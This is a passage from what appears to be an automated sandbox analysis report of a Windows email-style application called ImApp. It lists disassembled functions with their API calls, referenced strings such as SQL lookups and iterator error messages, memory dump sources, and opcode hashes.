API String ID: 3232054422-152884079
Opcode ID: 63e6ed9df1690e417ffe0fcdde81f8451f84df24b38492a5db723705e9a943b6
Instruction ID: 6549c59445d4cbec741b832935d5aa7c8287ab114bb6eba6a89f6a4130c9827e
Opcode Fuzzy Hash: 63e6ed9df1690e417ffe0fcdde81f8451f84df24b38492a5db723705e9a943b6
Instruction Fuzzy Hash: BCB15BB4509780DFD726CF24D1A0A6ABFE1BF85304F38858DE4994B352C731E986DB92

Function 10005870 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,DC7F1836,DC7F1836,?,?,6CA78A94,?,?,?,?,?,?,?,?,?,?), ref: 100058AA
_CxxThrowException.MSVCR80(?,1000D538), ref: 100058D1
#578.MFC80U(DC7F1836,DC7F1836,?,?,6CA78A94,?,?,?,?,?,?,?,?,?,?,1000B1EF), ref: 10005B1C
#764.MFC80U(?,?,?,?,?,?,?,?,?,?,?,1000B1EF,000000FF,10005225,DC7F1836,?), ref: 10005B23

Strings

invalid map/set<T> iterator, xrefs: 100058A1

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578#764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 3232054422-152884079
Opcode ID: 38b47ff1b737b8eb5bdaa2c945687456abcbb7a1b28ecad0d80258154f9beead
Instruction ID: f502a9252a84393f3a6cc2d0398a7c78e96be83efa73dfb6dd7f6b9c683f2e0d
Opcode Fuzzy Hash: 38b47ff1b737b8eb5bdaa2c945687456abcbb7a1b28ecad0d80258154f9beead
Instruction Fuzzy Hash: 4DB17A70609781DFE315CF24D080A1BBFE1EF86295F29858DE4894B356D732ED46CBA2

Function 020E9300 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020ED6DF), ref: 020E933A
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020E9361
#578.MFC80U(265105E4,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020ED6DF,000000FF), ref: 020E95AC
#764.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020ED6DF,000000FF), ref: 020E95B3

Strings

invalid map/set<T> iterator, xrefs: 020E9331

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 3232054422-152884079
Opcode ID: f05852838d02132392018e776ed574dd718fe413d1b5dfb5965f8ec10eb4120e
Instruction ID: ae4bf4557ef45107e3391f3eb0091b6ecc39e2138a023ff2ead2d73f89dd45de
Opcode Fuzzy Hash: f05852838d02132392018e776ed574dd718fe413d1b5dfb5965f8ec10eb4120e
Instruction Fuzzy Hash: 70B183B1509788DFDB16CF24D190B5ABFE1AF85304F24858DE4964B352C331E986DBE2

Function 020D3AF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 249COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020EDF55), ref: 020D3B2A
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020D3B51
#578.MFC80U ref: 020D3D95
#764.MFC80U(?), ref: 020D3D9C

Strings

invalid map/set<T> iterator, xrefs: 020D3B21

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 3232054422-152884079
Opcode ID: 422d6498c3508ef26e5251fe435681343dc748121aaa8ae631b42fd521ca9ab9
Instruction ID: 2f8e6542788584d64202cdc0a24db0cf7bfc9bad7f71765504b4f6b2e41d3886
Opcode Fuzzy Hash: 422d6498c3508ef26e5251fe435681343dc748121aaa8ae631b42fd521ca9ab9
Instruction Fuzzy Hash: E9B15C70609780DFD726DF24C050B56BBE2BF85214F288ACDE4994B352C771E986DF92

Function 020DF1B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 234COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(invalid map/set<T> iterator,265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 020DF1EA
_CxxThrowException.MSVCR80(?,020FC7E0), ref: 020DF211
#578.MFC80U(265105E4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,020EDA1F), ref: 020DF436
#764.MFC80U(?,?,?,?,?,?,?,?,?,?,00000000,020EDA1F,000000FF,020DEEC0,?,?), ref: 020DF43D

Strings

invalid map/set<T> iterator, xrefs: 020DF1E1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578#764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 3232054422-152884079
Opcode ID: 6235050d57e30590f1d8429ac1b87c13127a4def27782d2c4a46d8681765642a
Instruction ID: 1d0c9fc07f41666f80f2fe713a13ca7f569d4051a813d0855947a94a05a9a0ea
Opcode Fuzzy Hash: 6235050d57e30590f1d8429ac1b87c13127a4def27782d2c4a46d8681765642a
Instruction Fuzzy Hash: A9A19D7050A3829FDB16DF24D188B6ABFE2BF45304F28C48DD4864BA52C771E985DBD2

Function 0040D920 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

#265.MFC80U(00000000), ref: 0040D9A4
SysFreeString.OLEAUT32(00000000), ref: 0040DA97
SysStringLen.OLEAUT32(00000000), ref: 0040DAA2
SysFreeString.OLEAUT32(00000000), ref: 0040DACD

Strings

`Dvp=Dv, xrefs: 0040DA97, 0040DACD

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: String$Free$#265
String ID: `Dvp=Dv
API String ID: 1100696610-288496917
Opcode ID: 91ee5bb522cebbebf9285aae2e3996235cdd9c665d2c7ed8e3d1f761f37b0d01
Instruction ID: a631e9332a82b8a944b2149621eaa972de13fc535ac5ac399d5296d8628a1066
Opcode Fuzzy Hash: 91ee5bb522cebbebf9285aae2e3996235cdd9c665d2c7ed8e3d1f761f37b0d01
Instruction Fuzzy Hash: E3513D75A04205AFDB04CF99C980BAEB7F9FF88310F20816AE515EB390D775A941CFA5

Function 032722F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 032722FC
SetWindowLongA.USER32(?,00000000,00000000), ref: 03272318
??2@YAPAXI@Z.MSVCR80(0000002C,?,?,?,?,03273EBB,00000000,00000000,00000000,00000001), ref: 032723A7

Strings

Opaque, xrefs: 032723F1, 032723F6
Transparent, xrefs: 032723EA

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: ??2@CreateLongRectWindow
String ID: Opaque$Transparent
API String ID: 2114977722-3835317169
Opcode ID: 12780396ef5c7c40462b0d5136f75448dfbef7684dd808eb5f7a27c75c022393
Instruction ID: 48ee1dc9bff25f99a5dbca4867b35007ee0e3e86878eb3dfb5966ac915cbb7b2
Opcode Fuzzy Hash: 12780396ef5c7c40462b0d5136f75448dfbef7684dd808eb5f7a27c75c022393
Instruction Fuzzy Hash: 44414975200702AFD720DF69C894F2BB7EDBF89644F14895CE5998B251DB70E842CBA1

Function 020CA0D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,00000000,?,?,020EFB11,000000FF,020C994F,?,?,?,?,00000002,?), ref: 020CA14C
#25.IMDBU(GroupID,?,?,?,020EFB11,000000FF,020C994F,?,?,?,?,00000002,?,?,00000001), ref: 020CA165
#578.MFC80U(GroupID,?,?,?,020EFB11,000000FF,020C994F,?,?,?,?,00000002,?,?,00000001), ref: 020CA197

Strings

GroupID, xrefs: 020CA162, 020CA1AA

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578
String ID: GroupID
API String ID: 3447019164-424841700
Opcode ID: e3830ed7c0916c6921b81ee439b9f742b179558e0722033961dae6fcb9d3ba4b
Instruction ID: b6df29f3b96eb49d9d5ee15b404c13b61c9c18c637c52ec44970e70e0a4a8619
Opcode Fuzzy Hash: e3830ed7c0916c6921b81ee439b9f742b179558e0722033961dae6fcb9d3ba4b
Instruction Fuzzy Hash: 7D31AFB2788345DFC765CF14C884AAFB7E5BB88218F140A1DF99A87390E774AD449B12

Function 00401750 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

#607.IMUTILSU(?,$JB), ref: 004017A2
#1220.MFC80U(?,?,00000000), ref: 004017B9
#607.IMUTILSU(?,00000000,?,$JB), ref: 004017DF
#1220.MFC80U(?,?,00000000), ref: 004017F6

Strings

$JB, xrefs: 004017D6, 0040179C, 004017A0, 004017DA

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1220#607
String ID: $JB
API String ID: 921131390-1380036637
Opcode ID: df0e524919f88599ee49ea0bbc3025554393c486e3f2990ca21c1f4fb83634b0
Instruction ID: 7bd3abac7450442444650d3121928cd70dcd5095e3f7d2c3c11c6688f7fe93e4
Opcode Fuzzy Hash: df0e524919f88599ee49ea0bbc3025554393c486e3f2990ca21c1f4fb83634b0
Instruction Fuzzy Hash: B421C6B5208201AFD604DB54D884E6BB3E9FFC8708F108A1DF989A7350C738ED05CB66

Function 00406870 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

#675.IMUTILSU(00000000,LastRestartDate,?,00000000), ref: 00406889
#1428.IMUTILSU(00000000,LastRestartDate,?,00000000), ref: 00406890
_time64.MSVCR80 ref: 0040689F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004068B4

Strings

LastRestartDate, xrefs: 0040687D

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1428#675Unothrow_t@std@@@__ehfuncinfo$??2@_time64
String ID: LastRestartDate
API String ID: 600968860-3552851079
Opcode ID: b637d9c130623ccb4c1411ac56e01e37872d4a1ae91a177987644e4e24327c57
Instruction ID: 25c875ef8d75b8647f0edd13c670a6336ecf778a701b801bcc05c8ebf98bd006
Opcode Fuzzy Hash: b637d9c130623ccb4c1411ac56e01e37872d4a1ae91a177987644e4e24327c57
Instruction Fuzzy Hash: 3001D4727002056BD314BA7A9C84E67379DEBC1364B01453AF906D7341EA79EC058368

Function 020CA3B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,?,?,?,020F02BA,000000FF,020C9BA0,?,?,?,?,SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE,Name,00000002), ref: 020CA3EE
#899.MFC80U(020F5164,?,?,020F02BA,000000FF,020C9BA0,?,?,?,?,SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE,Name,00000002), ref: 020CA423
#776.MFC80U(020F516C,?,?,020F02BA,000000FF,020C9BA0,?,?,?,?,SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE,Name,00000002), ref: 020CA430
#899.MFC80U(GroupID,?,?,020F02BA,000000FF,020C9BA0,?,?,?,?,SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE,Name,00000002), ref: 020CA43F

Strings

GroupID, xrefs: 020CA43C

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #899$#310#776
String ID: GroupID
API String ID: 1196580379-424841700
Opcode ID: c0daaa38a44e79da94006a16e75793ed86c98893210cee13892f0b1a7b8653ba
Instruction ID: cc699bc6291974622c1c070f0d5030b3ea23dfedf7e59000deb56a117faf1f72
Opcode Fuzzy Hash: c0daaa38a44e79da94006a16e75793ed86c98893210cee13892f0b1a7b8653ba
Instruction Fuzzy Hash: EA11BCB1684300CFE390CF09C848B6AF7E9FB88714F04490DE91A83640C7B9A8088BA2

Function 020C93C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,?,?,020F02BA,000000FF,020C645C,?,?,?,?,SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,00000008), ref: 020C93FE
#899.MFC80U(020F5164,?,?,020F02BA,000000FF,020C645C,?,?,?,?,SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,00000008), ref: 020C9433
#776.MFC80U(020F516C,?,?,020F02BA,000000FF,020C645C,?,?,?,?,SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,00000008), ref: 020C9440
#899.MFC80U(ContactID,?,?,020F02BA,000000FF,020C645C,?,?,?,?,SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,00000008), ref: 020C944F

Strings

ContactID, xrefs: 020C944C

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #899$#310#776
String ID: ContactID
API String ID: 1196580379-3453245005
Opcode ID: 61e611351e6714ea597b7fef33a87e8ae5195fcde403042511a185f62f8e1814
Instruction ID: eb4a9987f3a262ae9c48e245c5aeaca7ba0be1a330c7e12fd7e9253d426de489
Opcode Fuzzy Hash: 61e611351e6714ea597b7fef33a87e8ae5195fcde403042511a185f62f8e1814
Instruction Fuzzy Hash: 7A119EB1688700CFE394CF49C848B6AF7E9FB84714F04491DE55A97680C7B9A8188FA2

Function 10002660 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,1000B4A9,000000FF), ref: 10002688
#2311.MFC80U(?,DROP VIEW IF EXISTS %s,?,?,?,?,1000B4A9,000000FF), ref: 100026A5
#8.IMDBU(?,00000000,00000000), ref: 100026B9
#578.MFC80U(?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 100026CC

Strings

DROP VIEW IF EXISTS %s, xrefs: 1000269F

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #2311#310#578
String ID: DROP VIEW IF EXISTS %s
API String ID: 1584812125-2704439946
Opcode ID: 5d1cd7636fb011ea0df88e5b9facb45e60f600043ff52bd6d2a43a5f1d858fe7
Instruction ID: e520df500c746dff0934708c7442317cd7f4c7ae14fa368593d95a36ade5faa4
Opcode Fuzzy Hash: 5d1cd7636fb011ea0df88e5b9facb45e60f600043ff52bd6d2a43a5f1d858fe7
Instruction Fuzzy Hash: 28018FB5108711AFE314CF08CC41F9BB7E4EB88760F008A1EF46593290DB34A9048B92

Function 10002390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,1000B4A9,000000FF), ref: 100023B8
#2311.MFC80U(?,DROP TABLE IF EXISTS %s,?,?,?,?,1000B4A9,000000FF), ref: 100023D5
#8.IMDBU(?,00000000,00000000), ref: 100023E9
#578.MFC80U(?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 100023FC

Strings

DROP TABLE IF EXISTS %s, xrefs: 100023CF

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #2311#310#578
String ID: DROP TABLE IF EXISTS %s
API String ID: 1584812125-4244620202
Opcode ID: dc88f2a562d2a2d930307b913ebaba3051a06992966abacd2c32eed0c89d1041
Instruction ID: 774e61d782c955fc75f9f9a16e2ae1f1ff45380f3513476135f0370f7a85caae
Opcode Fuzzy Hash: dc88f2a562d2a2d930307b913ebaba3051a06992966abacd2c32eed0c89d1041
Instruction Fuzzy Hash: AC014FB5118711AFE314CF18CC45F9BB7E4EB88760F008A1EF56593295DB34A9048B96

Function 0040B6D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0040A150: #310.MFC80U(FC8A6036,?,?,?,0041EBC9,000000FF), ref: 0040A178

#776.MFC80U(ImMenubarIcons.png,?,?,?,?,?,?,?,?,?,?,?,?,0041EDB1,000000FF), ref: 0040B70D
#962.IMLOOKU(FC8A6036,?,?,?,?,?,?,?,?,?,?,?,?,0041EDB1,000000FF), ref: 0040B735
#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,0041EDB1,000000FF), ref: 0040B749

Strings

ImMenubarIcons.png, xrefs: 0040B704
K, xrefs: 0040B725

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #310#578#776#962
String ID: ImMenubarIcons.png$K
API String ID: 3803678754-1157209771
Opcode ID: 048678a4dfe809d4500edeeaac8319ad492a9ffdbcddc9384f94cf310c2a5626
Instruction ID: ce5ed19ff3764bebd8680856b72de009ea27f106feca03cfa305516e8a6c199e
Opcode Fuzzy Hash: 048678a4dfe809d4500edeeaac8319ad492a9ffdbcddc9384f94cf310c2a5626
Instruction Fuzzy Hash: 37018FB5508341AFC300DF24D94574BBBE0FB48724F904A2DF49A833E1EB389548CB96

Function 00402460 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(User32.dll,GetLastInputInfo), ref: 0040246D
GetProcAddress.KERNEL32(00000000), ref: 00402474
GetTickCount.KERNEL32 ref: 00402494

Strings

GetLastInputInfo, xrefs: 00402463
User32.dll, xrefs: 00402468

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: AddressCountHandleModuleProcTick
String ID: GetLastInputInfo$User32.dll
API String ID: 1545651562-1519888992
Opcode ID: 88000ce5ecafc599045cdff6377978934f7e193942514684b295be07b7dca8cb
Instruction ID: ecffd3ef7a473eb69a5e3189397867275f7bcc0c3458173bb0f2c4238465dd62
Opcode Fuzzy Hash: 88000ce5ecafc599045cdff6377978934f7e193942514684b295be07b7dca8cb
Instruction Fuzzy Hash: E0E06571700200BFCB14EF74AE0970679A4AF84B01FD4CA24FC54C63D4EABDC5198A55

Function 00414410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

#1141.IMUTILSU(FC8A6036,?,?,00420268,000000FF), ref: 00414435
#1619.IMUTILSU(IM_PREM,tray_rc_prem,00000000,FC8A6036,?,?,00420268,000000FF), ref: 00414452
#1139.IMUTILSU(IM_PREM,tray_rc_prem,00000000,FC8A6036,?,?,00420268,000000FF), ref: 00414463

Strings

tray_rc_prem, xrefs: 00414444
IM_PREM, xrefs: 00414449

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1139#1141#1619
String ID: IM_PREM$tray_rc_prem
API String ID: 2731073893-2495840387
Opcode ID: b6e022b372f5b8d7229eff6c52fe10e8f2b247df24159b02d75ef0d932b75caa
Instruction ID: ee9d6a8b8a06d4e9e6ae3ab3cfc4ee5f17685581063fc9ace2577129b6a24e70
Opcode Fuzzy Hash: b6e022b372f5b8d7229eff6c52fe10e8f2b247df24159b02d75ef0d932b75caa
Instruction Fuzzy Hash: 11F0827124C741ABC314DF04DD42B5AB7E0FB40B20F904F1EB06142AE0DB7CA905CA49

Function 020E5A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

